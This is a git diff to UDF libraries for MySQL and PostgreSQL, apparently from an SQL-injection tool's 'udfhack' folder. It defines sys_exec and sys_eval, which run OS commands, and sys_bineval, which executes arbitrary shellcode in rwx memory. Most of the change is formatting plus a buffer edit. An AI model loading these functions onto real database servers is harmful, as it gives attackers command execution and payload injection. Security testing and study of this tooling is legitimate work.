+	if(args->arg_count == 1
+	&& args->arg_type[i]==STRING_RESULT){
+		return 0;
+	} else {
+		strcpy(
+			message
+		,	"Expected exactly one string type parameter"
+		);		
+		return 1;
+	}
+}
+
+void sys_eval_deinit(
+	UDF_INIT *initid
+){
+}
+
+char* sys_eval(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char* result
+,	unsigned long* length
+,	char *is_null
+,	char *error
+){
+	FILE *pipe;
+	char *line;
+	unsigned long outlen, linelen;
+
+	line = (char *)malloc(1024);
+	result = (char *)malloc(1);
+	outlen = 0;
+
+	pipe = popen(args->args[0], "r");
+
+	while (fgets(line, sizeof(line), pipe) != NULL) {
+		linelen = strlen(line);
+		result = (char *)realloc(result, outlen + linelen);
+		strncpy(result + outlen, line, linelen);
+		outlen = outlen + linelen;
+	}
+
+	pclose(pipe);
+
+	if (!(*result) || result == NULL) {
+		*is_null = 1;
+	} else {
+		result[outlen-1] = 0x00;
+		*length = strlen(result);
+	}
+
+	return result;
+}
+
+my_bool sys_bineval_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+){
+	return 0;
+}
+
+void sys_bineval_deinit(
+	UDF_INIT *initid
+){
+	
+}
+
+int sys_bineval(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+){
+	size_t len;
+
+#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
+	int pID;
+	char *code;
+#else
+	int *addr;
+	size_t page_size;
+	pid_t pID;
+#endif
+
+	len = (size_t)strlen(args->args[0]);
+
+#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
+	// allocate a +rwx memory page
+	code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+	strncpy(code, args->args[0], len);
+
+	WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
+#else
+	pID = fork();
+	if(pID<0)
+		return 1;
+
+	if(pID==0)
+	{
+		page_size = (size_t)sysconf(_SC_PAGESIZE)-1;	// get page size
+		page_size = (len+page_size) & ~(page_size);		// align to page boundary
+
+		// mmap an rwx memory page
+		addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
+
+		if (addr == MAP_FAILED)
+			return 1;
+
+		strncpy((char *)addr, args->args[0], len);
+
+		((void (*)(void))addr)();
+	}
+
+	if(pID>0)
+		waitpid(pID, 0, WNOHANG);
+#endif
+
+	return 0;
+}
+
+#if defined(_WIN64)
+void __exec_payload(LPVOID);
+
+DWORD WINAPI exec_payload(LPVOID lpParameter)
+{
+	__try
+	{
+		__exec_payload(lpParameter);
+	}
+	__except(EXCEPTION_EXECUTE_HANDLER)
+	{
+	}
+
+	return 0;
+}
+#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
+DWORD WINAPI exec_payload(LPVOID lpParameter)
+{
+	__try
+	{
+		__asm
+		{
+			mov eax, [lpParameter]
+			call eax
+		}
+	}
+	__except(EXCEPTION_EXECUTE_HANDLER)
+	{
+	}
+
+	return 0;
+}
+#endif
+
+#endif /* HAVE_DLOPEN */
diff --git a/extra/udfhack/windows/32/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.c b/extra/udfhack/windows/32/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.c
index 09e9dccfd..afb925ef2 100644
--- a/extra/udfhack/windows/32/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.c
+++ b/extra/udfhack/windows/32/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.c
@@ -48,29 +48,29 @@ PG_MODULE_MAGIC;
 
 char *text_ptr_to_char_ptr(text *arg)
 {
-    char *retVal;
-    int arg_size = VARSIZE(arg) - VARHDRSZ;
-    retVal = (char *)malloc(arg_size + 1);
+	char *retVal;
+	int arg_size = VARSIZE(arg) - VARHDRSZ;
+	retVal = (char *)malloc(arg_size + 1);
 
-    memcpy(retVal, VARDATA(arg), arg_size);
-    retVal[arg_size] = '\0';
-    
-    return retVal;
+	memcpy(retVal, VARDATA(arg), arg_size);
+	retVal[arg_size] = '\0';
+	
+	return retVal;
 }
 
 text *chr_ptr_to_text_ptr(char *arg)
 {
-    text *retVal;
-    
-    retVal = (text *)malloc(VARHDRSZ + strlen(arg));
+	text *retVal;
+	
+	retVal = (text *)malloc(VARHDRSZ + strlen(arg));
 #ifdef SET_VARSIZE
-    SET_VARSIZE(retVal, VARHDRSZ + strlen(arg));
+	SET_VARSIZE(retVal, VARHDRSZ + strlen(arg));
 #else
-    VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ;
+	VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ;
 #endif
-    memcpy(VARDATA(retVal), arg, strlen(arg));
-    
-    return retVal;
+	memcpy(VARDATA(retVal), arg, strlen(arg));
+	
+	return retVal;
 }
 
 PG_FUNCTION_INFO_V1(sys_exec);
@@ -108,7 +108,7 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
 	char *command;
 	char *result;
 	FILE *pipe;
-	char line[1024];
+	char *line;
 	int32 outlen, linelen;
 
 	command = text_ptr_to_char_ptr(argv0);
@@ -118,6 +118,7 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
 	elog(NOTICE, "Command evaluated: %s", command);
 	*/
 
+	line = (char *)malloc(1024);
 	result = (char *)malloc(1);
 	outlen = 0;
 
@@ -271,4 +272,4 @@ extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
 	free(filename);
 
 	PG_RETURN_POINTER(result_text);
-}
\ No newline at end of file
+}
diff --git a/extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c b/extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c
index 610d29171..082f69908 100644
--- a/extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c
+++ b/extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c
@@ -1,564 +1,565 @@
-/* 
-	lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
-	Copyright (C) 2007  Roland Bouman 
-	Copyright (C) 2008-2010  Roland Bouman and Bernardo Damele A. G.
-	web: http://www.mysqludf.org/
-	email: mysqludfs@gmail.com, bernardo.damele@gmail.com
-	
-	This library is free software; you can redistribute it and/or
-	modify it under the terms of the GNU Lesser General Public
-	License as published by the Free Software Foundation; either
-	version 2.1 of the License, or (at your option) any later version.
-	
-	This library is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-	Lesser General Public License for more details.
-	
-	You should have received a copy of the GNU Lesser General Public
-	License along with this library; if not, write to the Free Software
-	Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
-*/
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-#define DLLEXP __declspec(dllexport) 
-#else
-#define DLLEXP
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-#endif
-
-#ifdef STANDARD
-#include <string.h>
-#include <stdlib.h>
-#include <time.h>
-#ifdef __WIN__
-typedef unsigned __int64 ulonglong;
-typedef __int64 longlong;
-#else
-typedef unsigned long long ulonglong;
-typedef long long longlong;
-#endif /*__WIN__*/
-#else
-#include <my_global.h>
-#include <my_sys.h>
-#endif
-#include <mysql.h>
-#include <m_ctype.h>
-#include <m_string.h>
-#include <stdlib.h>
-
-#include <ctype.h>
-
-#ifdef HAVE_DLOPEN
-#ifdef	__cplusplus
-extern "C" {
-#endif
-
-#define LIBVERSION "lib_mysqludf_sys version 0.0.3"
-
-#ifdef __WIN__
-#define SETENV(name,value)		SetEnvironmentVariable(name,value);
-#else
-#define SETENV(name,value)		setenv(name,value,1);		
-#endif
-
-DLLEXP 
-my_bool lib_mysqludf_sys_info_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-);
-
-DLLEXP 
-void lib_mysqludf_sys_info_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-char* lib_mysqludf_sys_info(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-);
-
-/**
- * sys_get
- * 
- * Gets the value of the specified environment variable.
- */
-DLLEXP 
-my_bool sys_get_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-);
-
-DLLEXP 
-void sys_get_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-char* sys_get(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-);
-
-/**
- * sys_set
- * 
- * Sets the value of the environment variables.
- * This function accepts a set of name/value pairs
- * which are then set as environment variables.
- * Use sys_get to retrieve the value of such a variable 
- */
-DLLEXP 
-my_bool sys_set_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-);
-
-DLLEXP 
-void sys_set_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-long long sys_set(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *is_null
-,	char *error
-);
-
-/**
- * sys_exec
- * 
- * executes the argument commandstring and returns its exit status.
- * Beware that this can be a security hazard.
- */
-DLLEXP 
-my_bool sys_exec_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-);
-
-DLLEXP 
-void sys_exec_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-my_ulonglong sys_exec(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *is_null
-,	char *error
-);
-
-/**
- * sys_eval
- * 
- * executes the argument commandstring and returns its standard output.
- * Beware that this can be a security hazard.
- */
-DLLEXP 
-my_bool sys_eval_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-);
-
-DLLEXP 
-void sys_eval_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-char* sys_eval(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-);
-
-/**
- * sys_bineval
- * 
- * executes bynary opcodes.
- * Beware that this can be a security hazard.
- */
-DLLEXP 
-my_bool sys_bineval_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-);
-
-DLLEXP 
-void sys_bineval_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-int sys_bineval(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-);
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-DWORD WINAPI exec_payload(LPVOID lpParameter);
-#endif
-
-
-#ifdef	__cplusplus
-}
-#endif
-
-/**
- * lib_mysqludf_sys_info
- */
-my_bool lib_mysqludf_sys_info_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-){
-	my_bool status;
-	if(args->arg_count!=0){
-		strcpy(
-			message
-		,	"No arguments allowed (udf: lib_mysqludf_sys_info)"
-		);
-		status = 1;
-	} else {
-		status = 0;
-	}
-	return status;
-}
-
-void lib_mysqludf_sys_info_deinit(
-	UDF_INIT *initid
-){
-}
-
-char* lib_mysqludf_sys_info(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-){
-	strcpy(result,LIBVERSION);
-	*length = strlen(LIBVERSION);
-	return result;
-}
-
-my_bool sys_get_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-){
-	if(args->arg_count==1
-	&&	args->arg_type[0]==STRING_RESULT){
-		initid->maybe_null = 1;
-		return 0;
-	} else {
-		strcpy(
-			message
-		,	"Expected exactly one string type parameter"
-		);		
-		return 1;
-	}
-}
-
-void sys_get_deinit(
-	UDF_INIT *initid
-){
-}
-
-char* sys_get(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-){
-	char* value = getenv(args->args[0]);
-	if(value == NULL){
-		*is_null = 1;
-	} else {
-		*length = strlen(value);
-	} 
-	return value;
-}
-
-my_bool sys_set_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-){
-	if(args->arg_count!=2){
-		strcpy(
-			message
-		,	"Expected exactly two arguments"
-		);		
-		return 1;
-	}
-	if(args->arg_type[0]!=STRING_RESULT){
-		strcpy(
-			message
-		,	"Expected string type for name parameter"
-		);		
-		return 1;
-	}
-	args->arg_type[1]=STRING_RESULT;
-	if((initid->ptr=malloc(
-		args->lengths[0]
-	+	1
-	+	args->lengths[1]
-	+	1
-	))==NULL){
-		strcpy(
-			message
-		,	"Could not allocate memory"
-		);		
-		return 1;
-	}	
-	return 0;
-}
-
-void sys_set_deinit(
-	UDF_INIT *initid
-){
-	if (initid->ptr!=NULL){
-		free(initid->ptr);
-	}
-}
-
-long long sys_set(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *is_null
-,	char *error
-){	
-	char *name = initid->ptr;
-	char *value = name + args->lengths[0] + 1; 
-	memcpy(
-		name
-	,	args->args[0]
-	,	args->lengths[0]
-	);
-	*(name + args->lengths[0]) = '\0';
-	memcpy(
-		value
-	,	args->args[1]
-	,	args->lengths[1]
-	);
-	*(value + args->lengths[1]) = '\0';
-	return SETENV(name,value);		
-}
-
-my_bool sys_exec_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-){
-	unsigned int i=0;
-	if(args->arg_count == 1
-	&& args->arg_type[i]==STRING_RESULT){
-		return 0;
-	} else {
-		strcpy(
-			message
-		,	"Expected exactly one string type parameter"
-		);		
-		return 1;
-	}
-}
-
-void sys_exec_deinit(
-	UDF_INIT *initid
-){
-}
-
-my_ulonglong sys_exec(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *is_null
-,	char *error
-){
-	return system(args->args[0]);
-}
-
-my_bool sys_eval_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-){
-	unsigned int i=0;
-	if(args->arg_count == 1
-	&& args->arg_type[i]==STRING_RESULT){
-		return 0;
-	} else {
-		strcpy(
-			message
-		,	"Expected exactly one string type parameter"
-		);		
-		return 1;
-	}
-}
-
-void sys_eval_deinit(
-	UDF_INIT *initid
-){
-}
-
-char* sys_eval(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-){
-	FILE *pipe;
-	char line[1024];
-	unsigned long outlen, linelen;
-
-	result = malloc(1);
-	outlen = 0;
-
-	pipe = popen(args->args[0], "r");
-
-	while (fgets(line, sizeof(line), pipe) != NULL) {
-		linelen = strlen(line);
-		result = realloc(result, outlen + linelen);
-		strncpy(result + outlen, line, linelen);
-		outlen = outlen + linelen;
-	}
-
-	pclose(pipe);
-
-	if (!(*result) || result == NULL) {
-		*is_null = 1;
-	} else {
-		result[outlen-1] = 0x00;
-		*length = strlen(result);
-	}
-
-	return result;
-}
-
-my_bool sys_bineval_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-){
-	return 0;
-}
-
-void sys_bineval_deinit(
-	UDF_INIT *initid
-){
-	
-}
-
-int sys_bineval(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-){
-	size_t len;
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-	int pID;
-	char *code;
-#else
-	int *addr;
-	size_t page_size;
-	pid_t pID;
-#endif
-
-	len = (size_t)strlen(args->args[0]);
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-	// allocate a +rwx memory page
-	code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
-	strncpy(code, args->args[0], len);
-
-	WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
-#else
-	pID = fork();
-	if(pID<0)
-		return 1;
-
-	if(pID==0)
-	{
-		page_size = (size_t)sysconf(_SC_PAGESIZE)-1;	// get page size
-		page_size = (len+page_size) & ~(page_size);		// align to page boundary
-
-		// mmap an rwx memory page
-		addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
-
-		if (addr == MAP_FAILED)
-			return 1;
-
-		strncpy((char *)addr, args->args[0], len);
-
-		((void (*)(void))addr)();
-	}
-
-	if(pID>0)
-		waitpid(pID, 0, WNOHANG);
-#endif
-
-	return 0;
-}
-
-#if defined(_WIN64)
-void __exec_payload(LPVOID);
-
-DWORD WINAPI exec_payload(LPVOID lpParameter)
-{
-	__try
-	{
-		__exec_payload(lpParameter);
-	}
-	__except(EXCEPTION_EXECUTE_HANDLER)
-	{
-	}
-
-	return 0;
-}
-#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
-DWORD WINAPI exec_payload(LPVOID lpParameter)
-{
-	__try
-	{
-		__asm
-		{
-			mov eax, [lpParameter]
-			call eax
-		}
-	}
-	__except(EXCEPTION_EXECUTE_HANDLER)
-	{
-	}
-
-	return 0;
-}
-#endif
-
-#endif /* HAVE_DLOPEN */
\ No newline at end of file
+/* 
+	lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
+	Copyright (C) 2007  Roland Bouman 
+	Copyright (C) 2008-2010  Roland Bouman and Bernardo Damele A. G.
+	web: http://www.mysqludf.org/
+	email: mysqludfs@gmail.com, bernardo.damele@gmail.com
+	
+	This library is free software; you can redistribute it and/or
+	modify it under the terms of the GNU Lesser General Public
+	License as published by the Free Software Foundation; either
+	version 2.1 of the License, or (at your option) any later version.
+	
+	This library is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+	Lesser General Public License for more details.
+	
+	You should have received a copy of the GNU Lesser General Public
+	License along with this library; if not, write to the Free Software
+	Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+*/
+
+#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
+#define DLLEXP __declspec(dllexport) 
+#else
+#define DLLEXP
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <unistd.h>
+#endif
+
+#ifdef STANDARD
+#include <string.h>
+#include <stdlib.h>
+#include <time.h>
+#ifdef __WIN__
+typedef unsigned __int64 ulonglong;
+typedef __int64 longlong;
+#else
+typedef unsigned long long ulonglong;
+typedef long long longlong;
+#endif /*__WIN__*/
+#else
+#include <my_global.h>
+#include <my_sys.h>
+#endif
+#include <mysql.h>
+#include <m_ctype.h>
+#include <m_string.h>
+#include <stdlib.h>
+
+#include <ctype.h>
+
+#ifdef HAVE_DLOPEN
+#ifdef	__cplusplus
+extern "C" {
+#endif
+
+#define LIBVERSION "lib_mysqludf_sys version 0.0.4"
+
+#ifdef __WIN__
+#define SETENV(name,value)		SetEnvironmentVariable(name,value);
+#else
+#define SETENV(name,value)		setenv(name,value,1);		
+#endif
+
+DLLEXP 
+my_bool lib_mysqludf_sys_info_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+);
+
+DLLEXP 
+void lib_mysqludf_sys_info_deinit(
+	UDF_INIT *initid
+);
+
+DLLEXP 
+char* lib_mysqludf_sys_info(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char* result
+,	unsigned long* length
+,	char *is_null
+,	char *error
+);
+
+/**
+ * sys_get
+ * 
+ * Gets the value of the specified environment variable.
+ */
+DLLEXP 
+my_bool sys_get_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+);
+
+DLLEXP 
+void sys_get_deinit(
+	UDF_INIT *initid
+);
+
+DLLEXP 
+char* sys_get(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char* result
+,	unsigned long* length
+,	char *is_null
+,	char *error
+);
+
+/**
+ * sys_set
+ * 
+ * Sets the value of the environment variables.
+ * This function accepts a set of name/value pairs
+ * which are then set as environment variables.
+ * Use sys_get to retrieve the value of such a variable 
+ */
+DLLEXP 
+my_bool sys_set_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+);
+
+DLLEXP 
+void sys_set_deinit(
+	UDF_INIT *initid
+);
+
+DLLEXP 
+long long sys_set(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *is_null
+,	char *error
+);
+
+/**
+ * sys_exec
+ * 
+ * executes the argument commandstring and returns its exit status.
+ * Beware that this can be a security hazard.
+ */
+DLLEXP 
+my_bool sys_exec_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+);
+
+DLLEXP 
+void sys_exec_deinit(
+	UDF_INIT *initid
+);
+
+DLLEXP 
+my_ulonglong sys_exec(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *is_null
+,	char *error
+);
+
+/**
+ * sys_eval
+ * 
+ * executes the argument commandstring and returns its standard output.
+ * Beware that this can be a security hazard.
+ */
+DLLEXP 
+my_bool sys_eval_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+);
+
+DLLEXP 
+void sys_eval_deinit(
+	UDF_INIT *initid
+);
+
+DLLEXP 
+char* sys_eval(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char* result
+,	unsigned long* length
+,	char *is_null
+,	char *error
+);
+
+/**
+ * sys_bineval
+ * 
+ * executes bynary opcodes.
+ * Beware that this can be a security hazard.
+ */
+DLLEXP 
+my_bool sys_bineval_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+);
+
+DLLEXP 
+void sys_bineval_deinit(
+	UDF_INIT *initid
+);
+
+DLLEXP 
+int sys_bineval(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+);
+
+#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
+DWORD WINAPI exec_payload(LPVOID lpParameter);
+#endif
+
+
+#ifdef	__cplusplus
+}
+#endif
+
+/**
+ * lib_mysqludf_sys_info
+ */
+my_bool lib_mysqludf_sys_info_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+){
+	my_bool status;
+	if(args->arg_count!=0){
+		strcpy(
+			message
+		,	"No arguments allowed (udf: lib_mysqludf_sys_info)"
+		);
+		status = 1;
+	} else {
+		status = 0;
+	}
+	return status;
+}
+
+void lib_mysqludf_sys_info_deinit(
+	UDF_INIT *initid
+){
+}
+
+char* lib_mysqludf_sys_info(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char* result
+,	unsigned long* length
+,	char *is_null
+,	char *error
+){
+	strcpy(result,LIBVERSION);
+	*length = strlen(LIBVERSION);
+	return result;
+}
+
+my_bool sys_get_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+){
+	if(args->arg_count==1
+	&&	args->arg_type[0]==STRING_RESULT){
+		initid->maybe_null = 1;
+		return 0;
+	} else {
+		strcpy(
+			message
+		,	"Expected exactly one string type parameter"
+		);		
+		return 1;
+	}
+}
+
+void sys_get_deinit(
+	UDF_INIT *initid
+){
+}
+
+char* sys_get(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char* result
+,	unsigned long* length
+,	char *is_null
+,	char *error
+){
+	char* value = getenv(args->args[0]);
+	if(value == NULL){
+		*is_null = 1;
+	} else {
+		*length = strlen(value);
+	} 
+	return value;
+}
+
+my_bool sys_set_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+){
+	if(args->arg_count!=2){
+		strcpy(
+			message
+		,	"Expected exactly two arguments"
+		);		
+		return 1;
+	}
+	if(args->arg_type[0]!=STRING_RESULT){
+		strcpy(
+			message
+		,	"Expected string type for name parameter"
+		);		
+		return 1;
+	}
+	args->arg_type[1]=STRING_RESULT;
+	if((initid->ptr=malloc(
+		args->lengths[0]
+	+	1
+	+	args->lengths[1]
+	+	1
+	))==NULL){
+		strcpy(
+			message
+		,	"Could not allocate memory"
+		);		
+		return 1;
+	}	
+	return 0;
+}
+
+void sys_set_deinit(
+	UDF_INIT *initid
+){
+	if (initid->ptr!=NULL){
+		free(initid->ptr);
+	}
+}
+
+long long sys_set(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *is_null
+,	char *error
+){	
+	char *name = initid->ptr;
+	char *value = name + args->lengths[0] + 1; 
+	memcpy(
+		name
+	,	args->args[0]
+	,	args->lengths[0]
+	);
+	*(name + args->lengths[0]) = '\0';
+	memcpy(
+		value
+	,	args->args[1]
+	,	args->lengths[1]
+	);
+	*(value + args->lengths[1]) = '\0';
+	return SETENV(name,value);		
+}
+
+my_bool sys_exec_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+){
+	unsigned int i=0;
+	if(args->arg_count == 1
+	&& args->arg_type[i]==STRING_RESULT){
+		return 0;
+	} else {
+		strcpy(
+			message
+		,	"Expected exactly one string type parameter"
+		);		
+		return 1;
+	}
+}
+
+void sys_exec_deinit(
+	UDF_INIT *initid
+){
+}
+
+my_ulonglong sys_exec(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *is_null
+,	char *error
+){
+	return system(args->args[0]);
+}
+
+my_bool sys_eval_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+){
+	unsigned int i=0;
+	if(args->arg_count == 1
+	&& args->arg_type[i]==STRING_RESULT){
+		return 0;
+	} else {
+		strcpy(
+			message
+		,	"Expected exactly one string type parameter"
+		);		
+		return 1;
+	}
+}
+
+void sys_eval_deinit(
+	UDF_INIT *initid
+){
+}
+
+char* sys_eval(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char* result
+,	unsigned long* length
+,	char *is_null
+,	char *error
+){
+	FILE *pipe;
+	char *line;
+	unsigned long outlen, linelen;
+
+	line = (char *)malloc(1024);
+	result = (char *)malloc(1);
+	outlen = 0;
+
+	pipe = popen(args->args[0], "r");
+
+	while (fgets(line, sizeof(line), pipe) != NULL) {
+		linelen = strlen(line);
+		result = (char *)realloc(result, outlen + linelen);
+		strncpy(result + outlen, line, linelen);
+		outlen = outlen + linelen;
+	}
+
+	pclose(pipe);
+
+	if (!(*result) || result == NULL) {
+		*is_null = 1;
+	} else {
+		result[outlen-1] = 0x00;
+		*length = strlen(result);
+	}
+
+	return result;
+}
+
+my_bool sys_bineval_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+){
+	return 0;
+}
+
+void sys_bineval_deinit(
+	UDF_INIT *initid
+){
+	
+}
+
+int sys_bineval(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+){
+	size_t len;
+
+#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
+	int pID;
+	char *code;
+#else
+	int *addr;
+	size_t page_size;
+	pid_t pID;
+#endif
+
+	len = (size_t)strlen(args->args[0]);
+
+#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
+	// allocate a +rwx memory page
+	code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+	strncpy(code, args->args[0], len);
+
+	WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
+#else
+	pID = fork();
+	if(pID<0)
+		return 1;
+
+	if(pID==0)
+	{
+		page_size = (size_t)sysconf(_SC_PAGESIZE)-1;	// get page size
+		page_size = (len+page_size) & ~(page_size);		// align to page boundary
+
+		// mmap an rwx memory page
+		addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
+
+		if (addr == MAP_FAILED)
+			return 1;
+
+		strncpy((char *)addr, args->args[0], len);
+
+		((void (*)(void))addr)();
+	}
+
+	if(pID>0)
+		waitpid(pID, 0, WNOHANG);
+#endif
+
+	return 0;
+}
+
+#if defined(_WIN64)
+void __exec_payload(LPVOID);
+
+DWORD WINAPI exec_payload(LPVOID lpParameter)
+{
+	__try
+	{
+		__exec_payload(lpParameter);
+	}
+	__except(EXCEPTION_EXECUTE_HANDLER)
+	{
+	}
+
+	return 0;
+}
+#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
+DWORD WINAPI exec_payload(LPVOID lpParameter)
+{
+	__try
+	{
+		__asm
+		{
+			mov eax, [lpParameter]
+			call eax
+		}
+	}
+	__except(EXCEPTION_EXECUTE_HANDLER)
+	{
+	}
+
+	return 0;
+}
+#endif
+
+#endif /* HAVE_DLOPEN */
diff --git a/extra/udfhack/windows/64/lib_postgresqludf_sys/README.txt b/extra/udfhack/windows/64/lib_postgresqludf_sys/README.txt
new file mode 100644
index 000000000..61f055648
--- /dev/null
+++ b/extra/udfhack/windows/64/lib_postgresqludf_sys/README.txt
@@ -0,0 +1 @@
+PostgreSQL does not compile under Windows 64-bit.